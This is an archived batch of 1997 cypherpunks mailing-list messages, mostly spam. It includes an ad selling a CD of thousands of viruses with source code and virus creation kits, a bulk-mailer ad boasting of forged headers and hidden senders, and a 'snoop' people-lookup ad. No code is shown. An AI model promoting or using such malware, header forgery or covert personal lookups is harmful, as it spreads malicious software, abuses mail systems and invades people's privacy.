Subject: Virus CD-ROM Offer


Hey, I was checking out you web site, and I thought you might be someone
interested to know that the Digital Hackers' Alliance has once again made
its entire virus archive of over 10,000 viruses available to the public. 
We've once again been burning the midnight oil over the CD-R to produce a
limited number of new CD-ROMs. This CD-ROM is not only packed full with
over 20 meg of viruses, but also comes with source code for over 1500 of
the most famous viruses ever! Be one of our first 100 customers and
recieve FREE of charge over 50 virus creation tools, including Virus
Creation Lab (VCL) and PS-MPC! No where else in the world will you find a
more complete collection.  Anyway, if you want to find out more about the
CD-ROM, including an (almost) complete listing of every virus on the CD,
check out the Digital Hackers' Alliance web page at:

http://ahrens.callnet.com/dha/

--
Wraith -=- Digital Hackers' Alliance
http://ahrens.callnet.com/dha/
wraith@ahrens.callnet.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mf@mediafilter.org (MediaFilter)
Date: Wed, 21 May 1997 01:20:15 -0700 (PDT)
To: eon@black.hole
Subject: Disneyfication, Privatization of the Public Domain...	Turn the Planet into a Strip-Mall and Theme Park.....
Message-ID: <1347936075-200645@MediaFilter.org>
MIME-Version: 1.0
Content-Type: text/plain


Disneyfication, Privatization of the Public Domain...
Turn the Planet into a Strip-Mall and Theme Park.....

Hear the realaudio netcast of Infinity Factory
Hosted by Richard Metzger of Disinfo.com
talking with Paul Garrin about name.space
and the future of the net.

originally netcast live on May 11, 1997.


(this is a realaudio link, so be prepared...)
http://www.pseudo.com/archives/infinityMay11_1997_0848pm.ram

name.space:
http://name.space.xs2.net

DisInfo:
http://www.disinfo.com










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mf@mediafilter.org (MediaFilter)
Date: Wed, 21 May 1997 04:05:50 -0700 (PDT)
To: eon@black.hole
Subject: Disneyfication, Privatization of the Public Domain...	Turn the Planet into a Strip-Mall and Theme Park.....	Corection!
Message-ID: <1347929820-576932@MediaFilter.org>
MIME-Version: 1.0
Content-Type: text/plain


Sorry if you received this twice!
the link to the realaudio has been corrected!



Disneyfication, Privatization of the Public Domain...
Turn the Planet into a Strip-Mall and Theme Park.....

Hear the realaudio netcast of Infinity Factory
Hosted by Richard Metzger of Disinfo.com
talking with Paul Garrin about name.space
and the future of the net.

originally netcast live on May 11, 1997.


(this is a realaudio link, so be prepared...)
http://www.pseudo.com/netcast/shows/infinity/archives/infinityMay11_1997_084
8pm.ram

name.space:
http://name.space.xs2.net

DisInfo:
http://www.disinfo.com










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WSJ Interactive Edition Editors <update@interactive.wsj.com>
Date: Thu, 22 May 1997 09:34:32 -0700 (PDT)
To: Multiple recipients of list WSJIE-WHATSNEW             <WSJIE-WHATSNEW@LISTSERV.DOWJONES.COM>
Subject: Free Wall Street Journal Interactive Edition on PointCast
Message-ID: <3.0.32.19970522114457.00a32ccc@pop.dowjones.com>
MIME-Version: 1.0
Content-Type: text/plain


In the past, you tried The Wall Street Journal Interactive Edition through
a special offer. We now invite you to get selected content from The
Interactive Journal in a whole new way with PointCast!

With free PointCast Network software and The Wall Street Journal
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And when you subscribe to the Interactive Journal, you get the full story
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Journal go to <http://wsj.com>

Get The Wall Street Journal Interactive Edition channel now!   Download the
free PointCast software at <http://wsj.com/offers/pointcast.htm>

Best regards,


Jim White
Marketing Manager
maillist@wsj.dowjones.com




_______________________________________________________________
Check out Small Business Suite, a new Interactive Edition feature
covering issues that matter most to small business owners, entrepreneurs,
and anyone who markets products or services to small businesses.
http://wsj.com/edition/current/summaries/small.htm
________________________________________________________________
This is the New Features Alert e-mail list. If you do not wish to continue to
subscribe to this list, sign on to The Wall Street Journal Interactive
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go to the following URL: http://wsj.com/user-cgi-bin/userMenu.html to change
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will automatically un-subscribe you from any e-mail lists you might be
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 22 May 1997 11:03:37 -0700 (PDT)
To: coderpunks@toad.com (The Coderpunks list)
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
Message-ID: <199705221736.NAA17266@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


I hadn't seen this mentioned.  This is to coderpunks, bcc'd to
cypherpunks & cryptography.

Adam


------

A new Request for Comments is now available in online RFC libraries.


        RFC 2144:

        Title:      The CAST-128 Encryption Algorithm
        Author:     C. Adams
        Date:       May 1997
        Mailbox:    cadams@entrust.com
        Pages:      15
        Characters: 37532
        Updates/Obsoletes: None

        URL:        ftp://ds.internic.net/rfc/rfc2144.txt


There is a need in the Internet community for an unencumbered 
encryption algorithm with a range of key sizes that can provide 
security for a variety of cryptographic applications and protocols.  
This document describes an existing algorithm that can be used to 
satisfy this requirement.

This memo provides information for the Internet community.  This memo
does not specify an Internet standard of any kind.  Distribution of
this memo is unlimited.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: col1@mary-world.com
Date: Thu, 22 May 1997 13:04:46 -0700 (PDT)
To: col1@mary-world.com
Subject: Finally!
Message-ID: <56748690345col1@mary-world.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Guardian Global Telecommunications <service@guardian-global.net>
Date: Sat, 24 May 1997 20:55:37 -0700 (PDT)
Subject: GUARANTEED! 10.9cpm Long Distance Rates To "All 50 States" - 24 hrs - No Fees...
Message-ID: <199705242040.QAA08305@Q2I>
MIME-Version: 1.0
Content-Type: text/plain



_________________________________________________________________________

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Russia						67 cpm

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E-mail: 	Service@guardian-global.net
____________________________________________________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gina@vol.it
Date: Fri, 23 May 1997 16:59:11 -0700 (PDT)
To: sexyhot1@hotmail.com</A>
Subject: For Adults Only!
Message-ID: <sexyhot1@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Service@iBase.net
Date: Fri, 23 May 1997 21:36:59 -0700 (PDT)
To: Service@iBase.net
Subject: BUSINESS CLASSIFIEDS INTERACTIVE(sm)
Message-ID: <19970524011021056.AAB66@[206.244.171.176]>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Staff@ExposeInfidelity.com
Date: Sat, 24 May 1997 13:39:30 -0700 (PDT)
To: requestor@site.com
Subject: "How to E-X-P-0-S-E Infidelity" . . .
Message-ID: <144523806421342786@ExposeInfidelity.com>
MIME-Version: 1.0
Content-Type: text/plain


>From the offices of . . .

Virginia Claims Corporation
Statewide Claims Investigations
Workers' Compensation Specialists
11232 Midlothian Turnpike, Suite 220
Richmond, Va 23235-4714

Dear Friend:

Hi...my name is Britt Phillips. If you suspect infidelity, or know someone
who does . . .please take a couple of minutes to read this.

I am  very excited about the many people from all walks of life who 
have truly benefited from the publications that I have put together.

I have been a fully licensed Private Investigator for almost eleven
years. I currently work within a full caseload. My clients include 
attorney's,insurance companies, physicians as well as those in 
the corporate and private sector. I have very extensive knowledge 
as a direct result of working many different types of cases over 
this period of time. I currently focus my investigative services in 
the areas of insurance fraud and domestic and family issues. 

My background includes an honorable tour in the United States 
Navy as an Operations Specialist in the operational intelligence 
division. In this capacity I held a secret clearance and routinely 
handled very sensitive information vital to national security. In 
addition to these responsibilities I was also a member of an elite 
team who's members gathered intelligence as it relates to other 
countries around the world by photographing weapons and 
electronics systems and by gathering information about them 
useful in strategy. I have served at the Pentagon and have many 
personal memories of service to my country. 

I also have security experience in a major retail company as a 
loss prevention expert. In this capacity I continued my
investigative skills and worked my way up to be placed in charge 
of three locations. It was while in this capacity that I was 
introduced to the investigative field and fell in love with all that it 
has to offer.

I began in the trenches so to speak and worked my way up in a 
major investigative firm. I remained there for 4 years. I was well 
known by the company president as an eager investigator wanting 
to learn every type of case imaginable. I was turned down an offer 
to open a satellite office for this company during its expansion 
phase. I accepted a position with another firm and took over a 
lagging investigative company. I remained there for three years 
and ended my tenure with the title of investigations director!

Some of my past cases include:

Workers' Compensation, Narcotics, Homicide, Missing Persons, 
Adoption Searches, Skip Traces, Domestic & Family Issues,Child 
Custody, Infidelity, Criminal, Civil, Process Service, Witness
Location, Background Checks, Contract Disputes, Asset Checks, 
Theft, Fraud, Personal Injury, Auto Liability, Automobile
Repossession, Hit and Run and many many others.

Our hope is that this has given you a tool from which to measure 
my knowledge and experience. Your comfort level is very 
important to us and it will remain the same way long after you 
purchase publications from our office. We are committed to 
providing YOU with the quality,efficient, honest, reliable service 
that you not only deserve but should demand.

"How to Expose Infidelity" is a publication that I am very
pleased to be a part of. It includes many helpful sections that will 
literally change your life forever. I can say this because most 
people make many mistakes when they are suddenly confronted 
with an infidelity situation. There also is the factor that many don't 
discover the infidelity until after the lawyers have walked away and 
the case is resolved. This can be a major loss to anyone 
especially when children and settlements are concerned. In this 
same light it is very crucial to document infidelity from the earliest 
stages. The early stages when infidelity is first suspected are the 
most crucial to your case. Now you can learn from my many 
years of field experience working these types of cases.

This is a very important time and unfortunately most people allow 
their emotions to rule their intellect and do things that actually 
jeopardize their own case. It's only after these mistakes are 
pointed out that they are aware of them.Yes, that's right you 
guessed it, by then it's way to late! in "How to Expose Infidelity" 
YOU will learn what to do and when to do it. YOU will learn about 
hidden clues that are consistent with those involved in infidelity. 
YOU will learn the all important things to ask your attorney and 
investigator and how to interview each to make sure you are 
getting fair,competent representation. YOU will learn the most 
common mistakes that almost everyone makes and how to avoid 
them! YOU will learn how to channel your emotions and save your 
case instead of unknowingly doing things that compromise you.

But please...don't take my word for it. 

Read for yourself what other current owners have said:

"Your help made the greatest difference in my personal situation. 
I was able to reach a much better settlement and owe many 
thanks to you as well as my attorney. Your information revealed 
facts I previously was not aware of. If your guide had not been 
available, I would have been among the many who make the 
same mistakes on your list! Many thanks for a very helpful tool." 

"I purchased your infidelity guide because I had never gone 
through a divorce. Pride kept me from calling a private 
investigator to discus my situation. After reading your information 
I interviewed two investigator's.The first one was more interested 
in my retainer than my case. I used the techniques learned from 
your guide to quickly dismiss him and retained the second one. 
We won the case!" 

"My attorney commented that often in domestic cases her job 
can be very difficult at times, especially due to the mistakes 
that many clients routinely make. I was so glad that I had read 
your information beforehand.Thank you for being in my corner."

If you or someone you know find themselves in the unfortunate 
situation in which infidelity could very well be a real possibility, 
YOU owe it to yourself to find out the true facts as they are 
happening. As a top private investigator I have helped literally 
hundreds of people restore peace of mind during this trying, 
emotional period in their lives.

"How to E-X-P-O-S-E Infidelity" is an  A-Z guide that walks the 
reader throughout the complete process including:

~ Clues to look for
~ Mistakes that are almost always made by those who 
suspect their spouse of infidelity
~ How to avoid costly common mistakes
~ What to look for when talking to an investigator
~ The interview process and hiring an attorney
~ Complete question and answer session including 
answers to many questions routinely asked over the years.

Take action and restore peace of mind today. You owe it to 
yourself to find out the truth.

The cost of "How to E-X-P-O-S-E Infidelity"  is $19.95. It 
cannot be stressed enough that this price is really insignificant 
when you consider what your losses could be. You have my 
personal guarantee that if you apply what this guide teaches, 
YOU will be very relieved to have had a guide of this nature from 
which to learn from BEFORE, instead of after! 

Please give this some serious thought.

"How to E-X-P-O-S-E Infidelity" comes with my complete, no 
questions asked, money back guarantee. If after receiving this 
publication you aren't 100% completely satisfied, simply return 
it in its original condition. I will gladly refund your original 
purchase price promptly without question.

CUSTOMER SUPPORT
I am always available to answer any questions you may have 
after you get your package. The packages are  very clear and 
easy to follow however if you should have any questions I will be 
here for you. I offer complete customer support and will gladly 
field any questions to help you prosper. After you get your 
package(s), feel free to drop me a line via Email! This is my FREE 
service to you and another way for me to show you that I am 
genuinely sincere in my desire to help you.

And you have my personal...

     xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
     90 DAY  NO QUESTIONS, MONEY BACK GUARANTEE
     xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
I am so confident that after you receive the publication that you 
will be impressed with what it teaches, I am willing to send it to 
you totally without risk. Here's my no questions asked money 
back guarantee to YOU. Get the publication, study it, apply what 
it teaches, keep it for a full 90 days! If YOU have not received what 
you feel is  a quality, detailed, informative, complete program, 
Simply return the complete publication in its original condition and 
I will gladly refund your order price less shipping and handling. 
YOU cannot lose with this total satisfaction, complete, no 
questions asked, money back guarantee. You see, I absolutely 
refuse to have any unhappy customers. 

YOU risk nothing --- the risk is all mine.

What could be fairer than that?

Sincerely,

Britt S. Phillips
President

(c) 1997 Virginia Claims Corporation, All rights reserved.

     - - - CUT HERE AND PRINT THIS PAGE TO ORDER- - - - 
                       
     xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
      90 DAY FREE EXAMINATION CERTIFICATE 
     xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

(     )  Yes! I would like to take action and order your publication. 
If for any reason I'm not completely satisfied with . . .
                       "How to E-X-P-O-S-E Infidelity" 
I can just return it in its original condition during the next 90 days 
and you'll cheerfully buy it back and refund my $19.95 in full ---
less s&h no questions asked and no hard feelings.

Use this simple ordering  format (and please print clearly) :

Name:_________________________________________

Address:_______________________________________

City, State, Zip:_________________________________

E-mail address:_________________________________
Please include so that we may confirm receipt of your order.

Make check or money order payable to: 

Virginia Claims Corporation

Send your order to:    Virginia Claims Corporation
                                  Dept. M2
                                 11232 Midlothian Turnpike, Suite 220 
                                 Richmond, VA 23235-4714

Your order will be processed promptly and delivered to you 
by Special Priority Mail.

Thanks for your order!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 62376898@compuserve.com
Date: Sat, 24 May 1997 13:59:29 -0700 (PDT)
To: 110155.2409@compuserve.com
Subject: Unbelievable !
Message-ID: <3218021673627.GAA08056@compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain




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mailing software (ie. ExtractorPro, Stealth mailer, FloodGate, etc).

Indeed, this is absolutely the *best* offer around for the direct marketer,
and will finally put the little guy on even ground with even the biggest
bulk e-mailers!

Bulk e-mail is still in its infancy and is the new wave in cost-effective
global marketing. This huge list offers a whole world of vast potential sales
for you and your products - get on board now before you find yourself left
behind. We wish you success and we'll see you at the top!



To order via e-mail, please send a message first to:

worldwide@savetrees.com

. and we will respond to you with instructions on how to e-mail to us your
credit card number (Visa/Mastercard/American Express) in a secure manner.

Or to order via regular mail, please send bank draft, money order (..sorry,
no personal or business cheques please) or your credit card information to:

                           
                        Worldwide Marketing Group
                                  Box 48029
                                  Bedford, NS
                              Canada B4A 3Z2


Thank you very much and sorry for the intrusion...


Sincerely,
   Worldwide Marketing Group


P.S: Please allow a couple of weeks for delivery as we are 
        experiencing a large backlog of orders.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 30375650@themoon.com
Date: Sat, 24 May 1997 23:35:08 -0700 (PDT)
To: you@yourplace.com
Subject: Send your email at up to 250,000 messages / hour
Message-ID: <199702170035.GAA08056@themoon.com>
MIME-Version: 1.0
Content-Type: text/plain


=================================================
=  LIST REMOVAL INSTRUCTIONS..         
=  If you would like to be removed from         
=  our list permanently, send an email to     
=           remmee@answerme.com              
=  For correspondence, please do not hit reply.
=================================================
                 SEND YOUR E-MAIL OUT, AT up to 250,000 +
                    MESSAGES / HOUR (28.8k modem)

                        Yes, 250,000 + Messages An Hour  
	  
	            125,000 / Hour With a 14.4k Modem
		
	        Over 1,000,000 / Hour with an ISDN Connection 



That's right, we believe that there should be little or no restrictions
on Internet communications and email!  This software demonstrates 
the notion of unlimited, uncensored, and unrestricted, bullet-proof email use.
 
 
>>>Introducing.. "STEALTH MASS MAILER"...

Do not get this program confused with other slow speed programs
that call themselves "STEALTH". This program is the only one
in the world that can send email out at HIGH SPEEDS with one
single connection to the internet. 


This is NEW, Cutting Edge Email Technology. First Of It's Kind..
The Most Powerful BULK EMAIL SENDER In The World..
NOTHING CAN EVEN COME CLOSE!
 
Thanks to the countries top programmer's, this technology is NOW 
available and we are the only place you can get it from!


+ONLY "ONE" DIAL-UP OR ISDN CONNECTION NEEDED.

 
+NO MORE TERMINATED CONNECTIONS.


+NO MORE WAITING TO SEND LARGE AMOUNTS OF EMAIL.


+IMMEDIATE RESPONSE TO YOUR MASS MAILINGS.


+YOU WILL HAVE ALL THE CONTROL AND CONFIDENCE
OF SENDING EMAIL THE WAY IT SHOULD BE SENT...
IN HUGE AMOUNTS!


+SEND YOUR WHOLE LIST IN ONE DAY, WHETHER IT BE 
500,000 OR 5 MILLION - AND JUST SIT BACK AND WAIT FOR 
YOUR ORDERS TO POUR IN.


+SEND EMAIL OVER 10 TIMES FASTER THAN EVER BEFORE.


+NO MORE DOWNLOADING UNDELIVERABLE NAMES.


Also, you will be happy to know that regardless of which bulk 
e-mail software program you own, you will be able to incorporate 
this technology with it, as long as you can export your list of recipients 
to a text file ( 1 address per line ). The program requires Windows 95 
or NT and will not work with Windows 3.x. 


Bulk Emailer's Dream Come True!!! - >>>STEALTH - MASS MAILER

Connect to multiple mail servers, make multiple connections to a 
single server or any combination of the two ( All Simultaneously )
with one single dial-up connection.

After your message is sent out by the selected mail server(s), you can 
then have it relayed through another mail server or through multiple 
mail servers, in any server order you choose. 


   SEND MULTIPLE SIMULTANEOUS MAILINGS...

View complete details about your mailings. Shows each server your 
connected to, the status of that connection, how many message are 
going out through that connection, etc...

NOTE: You only need one dial-up connection, and you can send
email out through over 4,000 service providers accounts FREE!

We show you ALL the tricks all the mass emailers don't want you 
to know... 

Here are just a few features the STEALTH MASS MAILER
offers to you... 

   +Forge the Header - Message ID - ISP's will Spin their wheels.

   +Add's a Bogus Authenticated Sender to the Header.

   +Add's a complete bogus Received From / Received By line with 
   real time / date stamp and recipient to the Header.

   +Does NOT require a valid POP Account be entered in order to 
   send your mailings.

   +Easy to use and operate 

   Plus much more!

   

All this, at speeds of up to 250,000 messages / hour ( 28.8k modem ). 

   +Get better through put than a T1 line, using a 128 ISDN line ( save 
   thousands per month )

   +Personalized mail feature will be available soon - Free upgrade when 
   released. 


Available Now for Immediate shipment - Your Competitor(s) may 
already own The STEALTH Mass Mailer - ORDER YOURS NOW - Or 
Get Left In The Dust !!!

Well, how much is the STEALTH MASS MAILER..$3,000?
WE COULD EASILY CHARGE THAT MUCH...
THIS SOFTWARE IS INVALUABLE TO ONLINE MARKETERS
ALL OVER THE WORLD!

SPECIAL INTRODUCTORY PRICE...

NOW YOU CAN HAVE THE STEALTH MASS MAILER FOR
JUST $499.00! 

 
UPDATE ... SAVE $100 AND ORDER NOW, BE ONE OF THE FIRST 
100 ORDERS!

Step up to the plate and play with the big boys TODAY and receive 
the complete STEALTH MASS MAILER PACKAGE for the unbelievably
low price of ONLY $399!

(Other bulk email software has sold for as much as $2,500 and can't 
even come close to the STEALTH'S cutting edge  technology of EASE,
ACCURACY AND SPEED ... SPEED ... SPEED!)

MONEY BACK GUARANTEE: Try the Stealth Mass Mailer for 10 days. 
If you're not delighted return the package for a full refund. 

All STEALTH users receive 2 FULL HOURS technical support.  
 

**SPECIAL BONUS #1: STOP Losing ISP Dial Up Accounts!

If you order The STEALTH Mass Mailer within the next 5 days - When 
you receive your Permanent Unlock Code for the program, you will 
also receive: 

Complete instructions on "how to keep your dial up account from 
showing up in the header", plus everything you will need to get started 
doing this.

IMPORTANT NOTICE!
We will initially only be offering 100 copies of the program for sale, First 
come / First Served basis only. We are doing this because of the extreme
power that this program offers the potential for trouble. After the first 
100 copies are sold, there will be a 30 day waiting period, after which 
time we will decide whether or not to continue selling the program.

HURRY ... RESERVE YOURS TODAY!

Simply fill out the EZ ORDER FORM below and follow instructions...

 
***SPECIAL BONUS #2 INCLUDED***

ORDER TODAY AND WE'LL INCLUDE 100,000  
EMAIL ADDRESSES JUST FOR ORDERING NOW!!!
SEND THEM OUT IN LESS THAN 30 MINUTES GUARANTEED! 

___________________________________

So if you are interested in taking advantage of the most powerful bulk
email software in the world.....

Print out the EZ ORDER  form below and FAX or MAIL it to our office.

We accept Checks by Fax and Mail.


--------------------------------
E-Z ORDER FORM


 _____ Yes!  I would like to try your cutting-edge software so that I can
 advertise my business to hundreds of thousands of people online as often 
 as I wish!  I understand that I have 10 days to trial the software. If I am 
 not fully delighted, I will receive full money back, no questions asked!  
 Please rush me the STEALTH MASS MAILER package now!
 
 _____ I am ordering today! That qualifies me to receive the STEALTH 
 MASS MAILER package at a substantial discount. I am ordering the 
 software for only $399.00. ( our regular price $499.00, save $100 ...
 Much weaker Software has sold for as much as $2499.95). Also include
 my 100,000 targeted email addresses FREE!

 _____I want to receive the package OVERNIGHT. I'm including $12.50
for shipping charges.


                                                             EZ Order Form:


YOUR NAME_________________________________________________________

COMPANY NAME_____________________________________________________

YOUR POSITION______________________________________________________

STREET ADDRESS_____________________________________________________

CITY, STATE, ZIP______________________________________________________

PHONE NUMBERS______________________________________________________

FAX NUMBERS_________________________________________________________

EMAIL ADDRESSES_____________________________________________________

We accept Checks, Money Orders and Visa, MasterCard or AMX by mail or fax.
All checks will be held until cleared.  For fastest service use
credit card or money order.

I agree to pay Gulf Coast Marketing an additional $27 fee if my check is returned
for insufficient or uncollectable funds.

SIGNATURE: X_________________________________DATE:__________________

Please send all order forms and check, money order or credit card authorization to:

Mitchell Enterprises
8867 Highland Rd. Suite 2A
Baton Rouge, LA 70808



************************************************************

OR:

Fax Your Credit Card Authorization to:

504-767-2747

Visa____MasterCard____American Express____
Account #
Expiration Date
Address (as it appears on the card)
Zip (as it appears or the card)
Signature__________________________

****************************************************************
OR

Fax Your Check to:

504-767-2747

(For faxed checks, tape check here)
-----------------------------------------------------------------------




        TAPE FAXED CHECK HERE




-------------------------------------------------------------------------


-

Shipping Charges:

Priority add $3.00
Overnight add $12.00

______________________________________________









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: file130@ibm.net
Date: Sun, 25 May 1997 03:22:11 -0700 (PDT)
To: folks@ibm.net
Subject: Sunshine, pools and palm trees
Message-ID: <ZC68106AA56AA25@eve.ibm.net>
MIME-Version: 1.0
Content-Type: text/plain


There's a place near Palm Springs, California where palm trees sway, 
sparkling hot mineral pools dance in the sunlight and your worries melt
away with the special touch of our world class staff. Spacious rooms, 
soothing massages, facials, and body therapies await you. 

We have two mineral water wells that continuously pump hot water into
8 pools, (one is Olympic size).

To immediately receive a discount and get a FREE cool T-shirt mailed 
to you, call the Desert Hot Springs Spa Hotel at 1-800-808-7727 and
mention the Internet offer.

Visit our web site at http://www.dhsspa.com or send us an email to
Spas@earthlink.net for more information.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Sun, 25 May 1997 01:38:19 -0700 (PDT)
To: Friend@public.com
Subject: Check this one out!
Message-ID: <199705250837.EAA31134@netrail.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT  COLOR="#ffff00" SIZE=5><B>You have got to check out this awesome 
web page I found!!!<A HREF="http://www.moscowlive.com/2449">
CLICK HERE TO GO TO THE WEB PAGE !!! </A>
<FONT  COLOR="#000000" SIZE=3>
<FONT  COLOR="#c0c0c0" SIZE=1>[ you must be over 18 years of age to access it.  :) ]</B></PRE></HTML>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sun, 25 May 1997 11:40:51 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Too few Cypherpunks nodes
Message-ID: <199705251846.OAA18559@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

> (ichudov@algebra.com) wrote:

>> To subscribe to one of the Cypherpunks mailing list distribution points
>> send email to (one of) majordomo@algebra.com, 
>>majordomo@sirius.infonex.com, or majordomo@cyberpass.net with the 
>>following text in the body of your email message:

> Actually, infonex and cyberpass are the same place. Instead, you
> can list majordomo@ssz.com, majordomo@cyberpass.net, and
> majordomo@algebra.com.


I've also put the same info into "PGPSteps" 
(http://bureau42.base.org/public/pgpsteps.txt)

Ciao

Harka


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM4iHVDltEBIEF0MBAQFeuQf+NrK46h+hfep/FXS4UoiGvw4Od9p6txRI
NY+2TUlzGbpY7/okLHhNACLx2g4TKmcNFMUYYPDn3cfcTbVjRGYAwAxhDViY43DC
7dD5XzBx/dAREHWd7pqK7JPJLSYgd8MqKMbiZy2PDWLcbUyS0gk9YPLStRhjSrKl
WGtQtXYYJxlOD27RQnWHMoPkt76PuXsts0/qv7tt3fuuakW6mZx/ebZ/3vquR5sC
YbxHVul2PcKHLixOPo/uduOCntz58LXe4k9cZFNs1/YbxcsNWQVPL4rx9jY7F8BE
4/DFZtvplY8XqVLc3EvMd2KQRyefXGxF+owEAjKjO8HlZUAVO54k3w==
=XDyj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Sun, 25 May 1997 12:38:36 -0700 (PDT)
To: Friend@public.com
Subject: You have got to check this one out!
Message-ID: <199705251934.TAA392758@out2.ibm.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT  COLOR="#ffff00" SIZE=5><B>You have got to check out this awesome 
web page I found!!!<A HREF="http://www.moscowlive.com/2449">
CLICK HERE TO GO TO THE WEB PAGE !!! </A>
<FONT  COLOR="#000000" SIZE=3>
<FONT  COLOR="#c0c0c0" SIZE=1>[ you must be over 18 years of age to access it.  :) ]</B></PRE></HTML>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TaxBuster Guide <taxfree@futuregate.com>
Date: Sun, 25 May 1997 16:29:54 -0700 (PDT)
To: Victims of Federal Income Tax <cyholland@aol.com>
Subject: Income Tax Newsletter - May
Message-ID: <199705252329.QAA18210@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The newsletter this month got so long that I decided to put it up on the web rather then send it out this way. It is an in-depth article on the history of the Federal Income Tax. For anyone with an interest in reducing taxation, it is worth a read.

http://FutureGate.com/tax_buster/history1.html

Best Regards, Jon

_________________________________________________________________

Also, there may have been some REMOVE requests that I did not receive in April, if you are one of those, or, you would like to be removed at this time, just hit reply and send. You will be automatically placed in a permanent REMOVE file.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: investigations25.com@lsbsdi1.lightspeed.net
Date: Tue, 27 May 1997 05:25:32 -0700 (PDT)
To: call.916.876.4285@investigations.com
Subject: WARNING  -- ARE YOU BEING INVESTIGATED ???
Message-ID: <777gy7qweyt223m76.23444665@free.speach.com>
MIME-Version: 1.0
Content-Type: text/plain



Learn EVERYTHING about your friends, neighbors, enemies,
employees or anyone else! -- even your boss! -- even yourself!

My mammoth SNOOP COLLECTION of internet sites will
provide you...

*  Over 200 giant resources to look up people, credit,
    social security, current or past employment,
    mail order purchases, addresses, phone numbers,
	maps to city locations...
	
	it's incredible...
	
* Track down an old debt, or anyone else that has done
   you wrong!

* Locate an old friend (or an enemy who is hiding)
   or a lost love -- Find e-mail, telephone or address
   information on anyone! Even look up *unlisted* phone
   numbers!

* Investigate your family history!
   Check birth, death, adoption or social security records
   Check service records of Army, Navy, Air Force or
   Marine Corps.

*  Enjoy the enchantment of finding out a juicy tid-bit
   about a co-worker.

*  Check out your daughter's new boyfriend!

*  Find trial transcripts and court orders!

*  Find WORK by searching classified ads ALL OVER THE WORLD!

*  SCREEN prospective employees --
   Check credit, driving or criminal records
   Verify income or educational accomplishments


The Internet is a POWERFUL megasource of information, if you
only know WHERE to look.  I tell you how to find out nearly
ANYTHING about anybody, and tell you exactly where to find it!

You will be amazed to find out what PERSONAL information
other people can find out about YOU! Check your credit report
so you can correct WRONG information that may be used to
deny you credit.

Research YOURSELF first! You'll be horrified, as I was, at
how much data has accumulated about you.

If you believe (like I do) that the information that is
stored about EACH ONE OF US should be freely accessible,
you'll want to see the SNOOP COLLECTION I've compiled.
Verify your own records, or find out what you need
to know about others.

And my huge collection is ONLY THE BEGINNING! Once you locate
these FREE private, college and government web sites, you'll
find even MORE links to even MORE information search engines!

I'm telling you, it's incredible what you can find out using
the internet!

 
  FOUR WAYS TO ORDER     
 
  
 
  1) WE TAKE: AMERICAN EXPRESS <> VISA <> MASTERCARD
 
  
 

 
  SEND >>> ALL <<<  OF THE BELOW REQUESTED INFO
 
  
 
  
 
        TYPE OF CARD  AMX/VISA/MC??____________________
  
 
        NAME ON CREDIT CARD___________________________
  
 
       CREDIT CARD #___________________________________
  
 
        WHERE TO SEND BOOK ___________________________
  
 
        BILLING ADDRESS ________________________________
  
 
        CITY_____________________________________________
  
 
        STATE________________ZIP________________________
  
 
        PHONE INCLUDE AREA CODE______________________
 
        WE WILL BILL 34.95 to your account
 
        SALES TAX (2.53) added to CA residents 
 
  
 

 
  >>> Send $34.95 ($37.48 in CA) cash, check or money order to:
 
  
 
  >>> CASINO CHICO
 
  
 
  >>> Background Investigations Division      
 
  >>> 305 Nord Ave.
 
  >>> P.O. Box 4191
 
  >>> Chico, CA 95927-4191



   2) Send the same above requested credit card information to above address. 
 
   3) Fax the same above credit card information to 916-895-8470
 

   4) Call phone # 916-876-4285. This is a 24 hour phone line where you may place 
       a CREDIT CARD order.


 I will RUSH back to you SAME DAY my snoop information

 which will fully explain...



* What information is available -- and exact URL to get there!

* My easy-to-browse, categorized megacenter of information,
  has my own description of how to use each site, and what
  you'll find when you get there -- and tricky tips on how
  to extract the best data!

* Exactly where to look for --  AND THE CLEVER WAY to use -
  the above search engines, and TONS more!

INCLUDING ...

Personal ads, logs of personal e-mail, mention of individuals
anywhere on the internet (including PRIVATE bulletin boards),
lists of resources to find even more information (private
investigators, etc...), how to leverage one database against
